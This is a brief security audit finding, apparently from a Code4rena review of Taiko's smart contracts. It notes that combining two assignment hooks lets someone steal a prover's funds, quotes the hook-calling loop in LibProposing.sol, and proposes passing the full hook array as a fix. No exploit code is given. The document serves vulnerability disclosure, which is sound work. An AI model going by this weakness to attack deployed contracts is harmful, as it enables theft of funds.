AssigmentHook and DexAssigmentHook are both safe in isolation but when combined they can be used to steal funds from the prover.

There is of course also the requirement that the prover is actively using both AssigmentHook and that there is some overlap in the signed assignment such that both are valid at the same time.

We can protect against this by passing the entire hook array when calling

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProposing.sol#L253-L255

                IHook(params.hookCalls[i].hook).onBlockProposed{ value: address(this).balance }(
                    blk, meta_, params.hookCalls[i].data
                )

by doing so each AssigmentHook can add assignments to their signature that enforce a specific execution of hooks.